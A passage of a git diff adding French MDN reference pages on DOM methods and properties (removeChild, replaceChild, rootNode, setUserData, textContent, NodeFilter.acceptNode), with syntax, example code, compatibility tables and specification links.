+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+      <span class="keyword token">var</span> top <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"top"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">var</span> nested <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"nested"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+      <span class="keyword token">var</span> garbage <span class="operator token">=</span> top<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span>nested<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Ce premier appel supprime correctement le noeud</span>
+
+      <span class="comment token">// ......</span>
+      garbage <span class="operator token">=</span> top<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span>nested<span class="punctuation token">)</span><span class="punctuation token">;</span>   <span class="comment token">// Cas test 1 : la méthode dans le second appel ici, lance l'exception (1)</span>
+
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="comment token">&lt;!--Sample HTML code--&gt;</span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>top<span class="punctuation token">"</span></span> <span class="attr-name token">align</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>center<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>nested<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="comment token">// Supprime un élément spécifié quand son noeud parent est connu</span>
+<span class="keyword token">var</span> d <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"top"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> d_nested <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"nested"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> throwawayNode <span class="operator token">=</span> d<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span>d_nested<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="comment token">// Supprime un élément spécifié sans avoir à spécifier son noeud parent</span>
+<span class="keyword token">var</span> node <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"nested"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">if</span> <span class="punctuation token">(</span>node<span class="punctuation token">.</span>parentNode<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  node<span class="punctuation token">.</span>parentNode<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span>node<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<pre class="brush:js line-numbers  language-js">
+<code class="language-js"><span class="comment token">// Supprime tous les enfant d'un élément</span>
+<span class="keyword token">var</span> element <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"top"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">while</span> <span class="punctuation token">(</span>element<span class="punctuation token">.</span>firstChild<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  element<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span>element<span class="punctuation token">.</span>firstChild<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeChild">DOM Level 1 Core: removeChild</a> — <a class="external" href="http://xmlfr.org/w3c/TR/REC-DOM-Level-1/level-one-core.html#method-removeChild">traduction en français</a> (non normative)</li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1734834066">DOM Level 2 Core: removeChild</a> — <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2/core/core.html#ID-1734834066">traduction en français</a> (non normative)</li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-1734834066">DOM Level 3 Core: removeChild</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.replaceChild")}}</li>
+ <li>{{domxref("Node.parentNode")}}</li>
+ <li>{{domxref("ChildNode.remove")}}</li>
+</ul>
diff --git a/files/fr/web/api/node/replacechild/index.html b/files/fr/web/api/node/replacechild/index.html
new file mode 100644
index 0000000000..2233bbd419
--- /dev/null
+++ b/files/fr/web/api/node/replacechild/index.html
@@ -0,0 +1,133 @@
+---
+title: element.replaceChild
+slug: Web/API/Node/replaceChild
+tags:
+  - API
+  - DOM
+  - Enfant
+  - Méthodes
+  - Noeuds
+  - Remplacement
+translation_of: Web/API/Node/replaceChild
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <strong><code>Node.replaceChild()</code></strong> remplace un nœud enfant du noeud spécifié par un autre nœud.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>replacedNode</em> = <em>parentNode</em>.replaceChild(<em>newChild</em>, <em>oldChild</em>);
+</pre>
+
+<ul>
+ <li><code>newChild</code> est le nouveau nœud qui remplacera <code>oldChild</code>. S'il existe déjà dans le DOM, il sera d'abord enlevé.</li>
+ <li><code>oldChild</code> est le nœud existant à remplacer.</li>
+ <li><code>replaceNode</code> est le nœud remplacé. C'est le même nœud que <code>oldChild</code>.</li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="comment token">// &lt;div&gt;</span>
+<span class="comment token">//  &lt;span id="childSpan"&gt;foo bar&lt;/span&gt;</span>
+<span class="comment token">// &lt;/div&gt;</span>
+
+<span class="comment token">// crée un noeud élément vide</span>
+<span class="comment token">// sans ID, aucun attribut ni contenu</span>
+<span class="keyword token">var</span> sp1 <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"span"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// lui donne un attribut id appelé 'newSpan'</span>
+sp1<span class="punctuation token">.</span>id <span class="operator token">=</span> <span class="string token">"newSpan"</span><span class="punctuation token">;</span>
+
+<span class="comment token">// crée un contenu pour le nouvel élément.</span>
+<span class="keyword token">var</span> sp1_content <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createTextNode</span><span class="punctuation token">(</span><span class="string token">"new replacement span element."</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// applique ce contenu au nouvel élément</span>
+sp1<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>sp1_content<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// construit une référence au noeud existant devant être remplacé</span>
+<span class="keyword token">var</span> sp2 <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"childSpan"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> parentDiv <span class="operator token">=</span> sp2<span class="punctuation token">.</span>parentNode<span class="punctuation token">;</span>
+
+<span class="comment token">// remplace le noeud existant sp2 avec le nouvel élément span sp1</span>
+parentDiv<span class="punctuation token">.</span><span class="function token">replaceChild</span><span class="punctuation token">(</span>sp1<span class="punctuation token">,</span> sp2<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// résultat :</span>
+<span class="comment token">// &lt;div&gt;</span>
+<span class="comment token">//   &lt;span id="newSpan"&gt;nouvel élément span de remplacement.&lt;/span&gt;</span>
+<span class="comment token">// &lt;/div&gt;</span></code></pre>
+
+<div> </div>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-replaceChild">DOM Level 1 Core: replaceChild</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-785887307">DOM Level 2 Core : replaceChild</a> — <small><a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-785887307">traduction en français</a> (non normative)</small></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-785887307">DOM Level 3 Core: replaceChild</a></li>
+</ul>
+
+<p> </p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1.0)}}</td>
+   <td>{{CompatGeckoDesktop(1)}}</td>
+   <td>    IE6 (Maybe Earlier)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatOpera(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Edge Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td>IE6 (Maybe Earlier)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatOperaMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatChrome(1.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/node/rootnode/index.html b/files/fr/web/api/node/rootnode/index.html
new file mode 100644
index 0000000000..df91e2aa76
--- /dev/null
+++ b/files/fr/web/api/node/rootnode/index.html
@@ -0,0 +1,70 @@
+---
+title: Node.rootNode
+slug: Web/API/Node/rootNode
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Noeuds
+  - Propriétés
+  - Racine
+translation_of: Web/API/Node/getRootNode
+---
+<p>{{deprecated_header}}{{APIRef("DOM")}}{{SeeCompatTable}}</p>
+
+<p>La propriété en lecture seule <code><strong>Node.rootNode</strong></code> renvoie un objet {{domxref("Node")}} représentant le noeud du plus haut niveau de l'arbre, ou le noeud actuel s'il est le noeud du plus haut niveau de l'arbre. Il est trouvé par rétro-navigation à travers les noeuds parents {{domxref("Node.parentNode")}} jusqu'à l'arrivée au sommet.</p>
+
+<div class="warning">
+<p><strong>Important </strong>: Pour des raisons de compatibilité, cette propriété a été remplacée par la méthode {{domxref("Node.getRootNode()")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre><var>rootNode</var> = <em>node</em>.rootNode;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet {{domxref("Node")}} représentant le noeud du plus haut niveau de l'arbre.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>L'exécution de la ligne suivante dans les navigateurs de support doit renvoyer une référence au noeud HTML / document :</p>
+
+<pre class="brush: js">console.log(document.body.rootNode);</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p></p><p>Les navigateurs basés sur Gecko insèrent des nœuds texte dans un document pour représenter des espaces
+    vides dans le balisage source. Par conséquent, un nœud obtenu par exemple via <a href="/fr/docs/Web/API/Node/firstChild" title="La propriété en lecture seule Node.firstChild renvoie le premier nœud enfant de l'arbre ou null s'il n'en a pas. Si le noeud est un Document , il renvoie le premier noeud de la liste de ses enfants directs."><code>Node.firstChild</code></a> ou
+    <a href="/fr/docs/Web/API/Node/previousSibling" title='{{APIRef("DOM")}}'><code>Node.previousSibling</code></a> peut faire référence à un nœud texte contenant des espaces plutôt qu'au véritable élément
+    que l'auteur comptait obtenir.</p>
+
+    <p>Consultez <a href="/fr/docs/Gestion_des_espaces_dans_le_DOM">Gestion des espaces dans le DOM</a>
+    et <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener"><i>Why are some Text nodes empty?</i>
+    dans la FAQ DOM 3 du W3C</a> pour plus d'informations.</p><p></p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node.rootNode")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-rootnode', 'Node.rootNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/node/setuserdata/index.html b/files/fr/web/api/node/setuserdata/index.html
new file mode 100644
index 0000000000..1d4a18cce0
--- /dev/null
+++ b/files/fr/web/api/node/setuserdata/index.html
@@ -0,0 +1,127 @@
+---
+title: Node.setUserData()
+slug: Web/API/Node/setUserData
+tags:
+  - API
+  - DOM
+  - Données utilisateur
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/Node/setUserData
+---
+<div>{{APIRef("DOM")}}{{obsolete_header}}</div>
+
+<p>La méthode <code><strong>Node.setUserData()</strong></code> permet à un utilisateur de joindre (ou supprimer) des données à un élément, sans avoir besoin de modifier le DOM. Notez que ces données ne seront pas conservées lors de l'importation via {{domxref("Node.importNode")}}, comme avec les opérations {{domxref("Node.cloneNode()")}} et {{domxref("Node.renameNode()")}} (bien que {{domxref("Node.adoptNode")}} conserve l'information), et les tests d'égalité dans {{domxref("Node.isEqualNode()")}} ne prennent pas en compte les données de l'utilisateur lors de l'évaluation.</p>
+
+<p>Cette méthode offre l'avantage d'associer des données à des noeuds spécifiques sans nécessiter de modification de la structure du document et de façon standard, mais cela signifie aussi que des étapes supplémentaires peuvent être nécessaires si l'on souhaite sérialiser l'information ou l'inclure sur un clone, importer ou renommer des opérations.</p>
+
+<div class="note">
+<p>Les méthodes <code>Node.getUserData</code> et {{domxref("Node.setUserData")}} ne sont plus disponibles depuis le contenu Web. {{domxref("HTMLElement.dataset")}} ou <a href="/en-US/docs/JavaScript/Reference/Global_Objects/WeakMap"><code>WeakMap</code></a> peuvent être utilisées à la place.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>var prevUserData</var> = <var>someNode</var>.setUserData(<var>userKey</var>, <var>userData</var>, <var>handler</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<ul>
+ <li><code>userKey</code> est utilisé comme une clé  par laquelle on peut ensuite obtenir les données stockées. Plus d'une clé peuvent être définies pour un nœud donné.</li>
+ <li><code>handler</code> est un rappel qui sera appelé à chaque fois que le noeud est cloné, importé, renommé, supprimé ou adopté ; une fonction peut être utilisée ou un objet mettant en œuvre la méthode <code>handle</code> (partie de l'interface {{domxref("UserDataHandler")}}). Le gestionnaire recevra 5 arguments : un entier (<em>integer</em>) représentant le type d'opération (tel que 1 pour indiquer une opération de clonage), la clé utilisateur, les données sur le noeud, le noeud source (<code>null</code> s'il a été supprimé), le noeud de destination (le nouveau noeud créé ou <code>null</code> si aucun). Si aucun gestionnaire n'est souhaité, il faut spécifier <code>null</code>.</li>
+ <li><code>userData</code> est l'objet à associer à <code>userKey</code> sur someNode. Si <code>null</code>, tout objet précédemment enregistré et l'UserDataHandler associé à <code>userKey</code> sur ce noeud seront supprimés.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var d = document.implementation.createDocument('', 'test', null);
+d.documentElement.setUserData('key', 15, {handle:function (o, k, d, s, ds) {console.log(o+'::'+k+'::'+d+'::'+s+'::'+ds)}}); // 2::key::15::[object Element]::[object Element]
+console.log(d.documentElement.getUserData('key')); // 15
+var e = document.importNode(d.documentElement, true); // provoque l'appel du gestionnaire
+console.log(e.getUserData('key')); // null puisque les données utilisateur ne sont pas copiées.
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Supprimé de la  spécification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#Node3-setUserData', 'Node.setUserData()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    {{CompatNo}} {{CompatGeckoDesktop("22.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}<br>
+    {{CompatNo}} {{CompatGeckoMobile("22.0")}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La méthode reste disponible dans les scripts chrome.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.getUserData()")}}</li>
+ <li>{{domxref("UserDataHandler")}}</li>
+ <li>{{domxref("DOMUserData")}}</li>
+</ul>
diff --git a/files/fr/web/api/node/textcontent/index.html b/files/fr/web/api/node/textcontent/index.html
new file mode 100644
index 0000000000..aa5b90cf7a
--- /dev/null
+++ b/files/fr/web/api/node/textcontent/index.html
@@ -0,0 +1,125 @@
+---
+title: element.textContent
+slug: Web/API/Node/textContent
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/Node/textContent
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété <code><strong>Node.textContent</strong></code>  représente le contenu textuel d'un nœud et de ses descendants.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>text</em> = element.textContent;
+element.textContent = "ceci est un simple exemple de texte";
+</pre>
+
+<h2 id="Notes" name="Notes">Description</h2>
+
+<ul>
+ <li><code>textContent</code> renvoie <code>null</code> si l'élément est un <a href="https://developer.mozilla.org/fr/docs/Web/API/document">document</a>, un type de document (doctype) ou une notation. Pour saisir toutes les données textuelles et CDATA pour l'ensemble du document, on peut utiliser <code> <a href="https://developer.mozilla.org/fr/docs/Web/API/document/documentElement">document.documentElement</a>.textContent</code> .</li>
+ <li>Si le nœud est une section CDATA, un commentaire, une instruction de traitement ou un nœud texte, <code>textContent</code> renvoie le texte à l'intérieur du nœud (la valeur <a href="https://developer.mozilla.org/fr/docs/Web/API/Node/nodeValue">nodeValue</a>).</li>
+ <li>Pour les autres types de nœuds, <code>textContent</code> renvoie la concaténation des valeurs de propriété <code>textContent</code> de chaque nœud enfant, à l'exception des commentaires et nœuds d'instructions de traitement. Si le nœud n'a pas d'enfants, il s'agira d'une chaîne vide.</li>
+ <li>En définissant cette propriété sur un nœud, on enlève tous ses enfants et ceux-ci sont remplacés par un seul nœud texte avec la valeur donnée.</li>
+</ul>
+
+<h3 id="Différences_avec_innerText">Différences avec <code>innerText</code></h3>
+
+<p>Internet Explorer a introduit une propriété {{domxref("node.innerText")}}. L'intention est similaire mais comporte les différences suivantes :</p>
+
+<ul>
+ <li><code>textContent</code> récupère le contenu de tous les éléments, y compris {{HTMLElement("script")}} et {{HTMLElement("style")}}, ce qui n'est pas le cas de <code>innerText</code>.</li>
+ <li><code>innerText</code> prend en compte le style de l'élément et ne retournera rien pour les éléments cachés. Aussi, il déclenchera un reflow à l'inverse de <code>textContent</code>.</li>
+ <li>Comme <code>innerText</code> reconnaît le style CSS, il déclenchera une refusion (<em>reflow</em>), alors que <code>textContent</code> ne le fera pas.</li>
+ <li>Contrairement à <code>textContent</code>, la modification <code>innerText</code> dans Internet Explorer (jusqu'à la version 11 incluse), non seulement supprime les nœuds enfants de l'élément, mais détruit aussi définitivement tout nœud de texte descendant (il est donc impossible d'insérer à nouveau des nœuds dans un autre élément ou dans le même élément) .</li>
+</ul>
+
+<h3 id="Différences_avec_innerHTML">Différences avec <code>innerHTML</code></h3>
+
+<p>{{domxref("Element.innerHTML")}} renvoie le HTML comme son nom l'indique. Souvent, pour récupérer ou écrire du texte dans un élément, les utilisateurs utilisent <code>innerHTML</code>. Cependant, <code>textContent</code> a souvent de meilleures performances car le texte n'est pas analysé en HTML. De plus, l'utilisation de <code>textContent</code> peut empêcher les attaques XSS.</p>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="eval">// Étant donné le fragment de HTML suivant :
+//   &lt;div id="divA"&gt;Ceci est un &lt;span&gt;exemple de&lt;/span&gt; texte&lt;/div&gt;
+
+// On obtient le contenu textuel :
+var text = document.getElementById("divA").textContent;
+// |text| vaut "Ceci est un exemple de texte".
+
+// On définit le contenu textuel :
+document.getElementById("divA").textContent = "Ceci est un exemple de texte";
+// Le HTML pour divA est à présent &lt;div id="divA"&gt;Ceci est un exemple de texte&lt;/div&gt;
+</pre>
+
+<h2 id="Polyfill_pour_IE8">Polyfill pour IE8</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// Source: Eli Grey @ http://eligrey.com/blog/post/textcontent-in-ie8</span>
+<span class="keyword token">if</span> <span class="punctuation token">(</span>Object<span class="punctuation token">.</span>defineProperty
+  <span class="operator token">&amp;&amp;</span> Object<span class="punctuation token">.</span>getOwnPropertyDescriptor
+  <span class="operator token">&amp;&amp;</span> Object<span class="punctuation token">.</span><span class="function token">getOwnPropertyDescriptor</span><span class="punctuation token">(</span>Element<span class="punctuation token">.</span>prototype<span class="punctuation token">,</span> <span class="string token">"textContent"</span><span class="punctuation token">)</span>
+  <span class="operator token">&amp;&amp;</span> <span class="operator token">!</span>Object<span class="punctuation token">.</span><span class="function token">getOwnPropertyDescriptor</span><span class="punctuation token">(</span>Element<span class="punctuation token">.</span>prototype<span class="punctuation token">,</span> <span class="string token">"textContent"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> innerText <span class="operator token">=</span> Object<span class="punctuation token">.</span><span class="function token">getOwnPropertyDescriptor</span><span class="punctuation token">(</span>Element<span class="punctuation token">.</span>prototype<span class="punctuation token">,</span> <span class="string token">"innerText"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    Object<span class="punctuation token">.</span><span class="function token">defineProperty</span><span class="punctuation token">(</span>Element<span class="punctuation token">.</span>prototype<span class="punctuation token">,</span> <span class="string token">"textContent"</span><span class="punctuation token">,</span>
+     <span class="comment token">// Passing innerText or innerText.get directly does not work,</span>
+     <span class="comment token">// wrapper function is required.</span>
+     <span class="punctuation token">{</span>
+       <span class="keyword token">get</span><span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+         <span class="keyword token">return</span> innerText<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">.</span><span class="function token">call</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+       <span class="punctuation token">}</span><span class="punctuation token">,</span>
+       <span class="keyword token">set</span><span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>s<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+         <span class="keyword token">return</span> innerText<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">.</span><span class="function token">call</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">,</span> s<span class="punctuation token">)</span><span class="punctuation token">;</span>
+       <span class="punctuation token">}</span>
+     <span class="punctuation token">}</span>
+   <span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<ul>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node.textContent")}}</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-node-textcontent','Node.textContent')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de DOM4</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-node-textcontent','Node.textContent')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#Node3-textContent','Node.textContent')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://perfectionkills.com/the-poor-misunderstood-innerText/">Plus sur les différences entre <code>innerText</code> et <code>textContent</code></a> (blog post en)</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/nodefilter/acceptnode/index.html b/files/fr/web/api/nodefilter/acceptnode/index.html
new file mode 100644
index 0000000000..a10a9b5657
--- /dev/null
+++ b/files/fr/web/api/nodefilter/acceptnode/index.html
@@ -0,0 +1,120 @@
+---
+title: NodeFilter.acceptNode()
+slug: Web/API/NodeFilter/acceptNode
+tags:
+  - API
+  - DOM
+  - Filtre
+  - Méthodes
+  - NodeFilter
+  - Noeuds
+translation_of: Web/API/NodeFilter/acceptNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <strong><code>NodeFilter.acceptNode()</code></strong> renvoie un <code>unsigned short</code> (<em>non signé court</em>) qui sera utilisé pour dire si un {{domxref("Node")}} donné peut être accepté ou non par l'algorithme d'itération {{ domxref("NodeIterator") }} ou {{ domxref("TreeWalker") }}. Cette méthode doit être écrite par l'utilisateur du <code>NodeFilter</code>. Les valeurs retournées possibles sont :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constante</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.FILTER_ACCEPT</code></td>
